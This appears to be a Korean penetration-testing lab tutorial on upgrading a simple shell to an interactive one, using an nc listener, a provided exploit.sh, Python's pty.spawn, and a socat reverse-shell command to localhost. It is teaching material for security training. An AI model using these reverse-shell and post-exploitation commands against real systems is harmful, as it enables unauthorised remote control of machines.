Nmap 에서 단순 셸을 인터랙티브 셸로 업그레이드

Beginner

소개

침투 테스트 분야에서 대상 시스템에 대한 접근 권한을 얻는 것은 종종 셸 (shell) 을 획득하는 것을 포함하며, 이는 단순 셸 (simple shell) 또는 인터랙티브 셸 (interactive shell) 일 수 있습니다. 단순 셸은 기능이 제한적이며 인터랙티브 기능이 부족한 반면, 인터랙티브 셸은 더 강력하고 사용자 친화적인 환경을 제공합니다. 이 랩 (lab) 은 단순 셸과 인터랙티브 셸의 차이점을 탐구하고, 단순 셸을 인터랙티브 셸로 업그레이드하는 과정을 안내하는 것을 목표로 합니다.

단순 셸 이해

이 단계에서는 단순 셸의 개념과 그 제한 사항을 살펴보겠습니다. 단순 셸은 일반적으로 원격 명령 실행 취약점 (remote command execution vulnerabilities) 또는 기타 익스플로잇 기술을 통해 획득됩니다. 대상 시스템에서 명령을 실행할 수 있지만, 사후 익스플로잇 단계 (post-exploitation phase) 를 방해할 수 있는 몇 가지 필수 기능이 부족합니다.

  1. 먼저, 터미널 창을 열고 /home/labex/project 디렉토리로 이동합니다.

    cd /home/labex/project
    
  2. 대상 시스템에서 단순 셸을 획득하는 과정을 시뮬레이션하기 위해, nc 명령을 사용하여 포트 5911에서 리스너 (listener) 를 설정해야 합니다.

    nc -lnvp 5911
    

    예상 출력:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911 ...
    

    이 터미널 창은 단순 셸 연결을 위한 리스너 역할을 합니다.

  3. 다른 터미널 창을 열고 /home/labex/project 디렉토리로 이동하면 홈 디렉토리에 exploit.sh 파일이 있는 것을 볼 수 있습니다. 이 파일은 대상 시스템에서 단순 셸을 획득하는 데 사용할 수 있는 원격 명령 실행 익스플로잇을 시뮬레이션합니다.

    cd /home/labex/project
    

    exploit.sh 스크립트를 실행하여 포트 5911의 리스너에 연결하고 대상 시스템에서 단순 셸을 획득합니다.

    ./exploit.sh
    

    예상 출력:

    labex:project/ $ ./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911
    

    이 스크립트는 포트 5911의 리스너에 연결하여 대상 시스템에서 단순 셸을 제공합니다.

  4. 리스너를 설정한 터미널 창으로 돌아가면 대상 시스템과의 연결이 설정된 것을 볼 수 있습니다.

    예시 출력:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911 ...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |
    

    whoamilsb_release -a와 같은 명령을 실행하여 단순 셸을 획득했는지 확인할 수 있습니다. 그러나 단순 셸에는 적절한 명령 프롬프트, 탭 완성 (tab completion), su 또는 ssh와 같은 인터랙티브 명령을 사용할 수 있는 기능과 같은 특정 기능이 부족하다는 것을 알 수 있습니다.

Python 을 이용한 인터랙티브 셸로 업그레이드

단순 셸을 인터랙티브 셸로 업그레이드하는 한 가지 방법은 Python 의 pty 모듈을 사용하는 것입니다. 이 모듈을 사용하면 의사 터미널 (pseudo-terminal, pts) 을 생성할 수 있습니다.

  1. 먼저, 다음 명령을 실행하여 대상 시스템에 Python 이 설치되어 있는지 확인합니다.

    which python
    
  2. Python 을 사용할 수 있는 경우, 다음 명령을 사용하여 의사 터미널을 생성할 수 있습니다.

    python -c 'import pty; pty.spawn("/bin/bash");'
    

    이 명령은 의사 터미널 지원을 통해 새로운 인터랙티브 셸을 생성하여 sussh와 같은 명령을 문제없이 실행할 수 있도록 합니다.

    예시 출력:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
    
  3. 새 셸이 의사 터미널인지 확인하기 위해 tty 명령을 실행하고 출력을 파일로 리디렉션할 수 있습니다.

    tty > /home/labex/project/shell.txt
    

    shell.txt 파일의 내용을 확인하여 셸이 의사 터미널 (pts) 인지 확인합니다.

    cat /home/labex/project/shell.txt
    

    예시 출력:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5
    

그러나 Python 의사 터미널은 단순 셸의 몇 가지 제한 사항을 해결하지만, 탭 완성, 기록 탐색 (history navigation), vim 또는 vi와 같은 텍스트 편집기에 대한 적절한 지원과 같은 특정 기능이 여전히 부족합니다.

PS: exit를 입력하거나 Ctrl+D를 눌러 의사 터미널 셸에서 로그아웃할 수 있습니다.

Socat 을 이용한 완전한 인터랙티브 셸로 업그레이드

보다 포괄적인 솔루션을 위해, socat 유틸리티를 사용하여 탭 완성, 기록 탐색 (history navigation), 텍스트 편집기 호환성을 포함한 모든 기능을 지원하는 완전한 인터랙티브 셸을 얻을 수 있습니다.

먼저, 다음 명령을 실행하여 대상 시스템에 socat이 설치되어 있는지 확인합니다.

which socat

socat을 사용할 수 있는 경우, 다음 단계를 따르세요.

  1. 새 터미널 창을 열고 다음 socat 명령을 사용하여 포트 5912에서 리스너를 시작합니다.

    socat file:$(tty),raw,echo=0 tcp-listen:5912
    

    연결이 설정될 때까지 기다립니다.

  2. 단순 셸에서 다음 명령을 실행하여 리스너에 연결하고 셸을 완전한 인터랙티브 셸로 업그레이드합니다.

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
    
  3. 리스너를 설정한 터미널 창으로 돌아가면 대상 시스템과의 연결이 설정된 것을 볼 수 있습니다. 이제 일반 터미널 세션에서 기대할 수 있는 모든 기능을 갖춘 완전한 인터랙티브 셸을 갖게 됩니다.

    예시 출력:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$
    

cat, ssh, vim과 같은 명령을 사용하고 위쪽 및 아래쪽 화살표 키를 사용하여 명령 기록을 탐색하여 새 인터랙티브 셸을 테스트합니다.

요약

이 랩에서는 침투 테스트 (penetration testing) 의 맥락에서 단순 셸과 인터랙티브 셸의 개념을 탐구했습니다. 단순 셸의 제한 사항과 효율적인 후 - 익스플로잇 (post-exploitation) 활동을 위해 인터랙티브 셸로 업그레이드하는 것의 중요성에 대해 배웠습니다. 단순 셸을 업그레이드하는 두 가지 방법을 다루었습니다. Python 의 pty 모듈을 사용하여 의사 터미널을 생성하는 방법과, socat 유틸리티를 사용하여 필요한 모든 기능을 갖춘 완전한 인터랙티브 셸을 얻는 방법입니다. 이러한 기술을 연습함으로써, 단순 셸이 제기하는 문제를 극복하고 후 - 익스플로잇 노력을 간소화하여 향후 침투 테스트 참여에 도움이 될 귀중한 기술을 습득했습니다.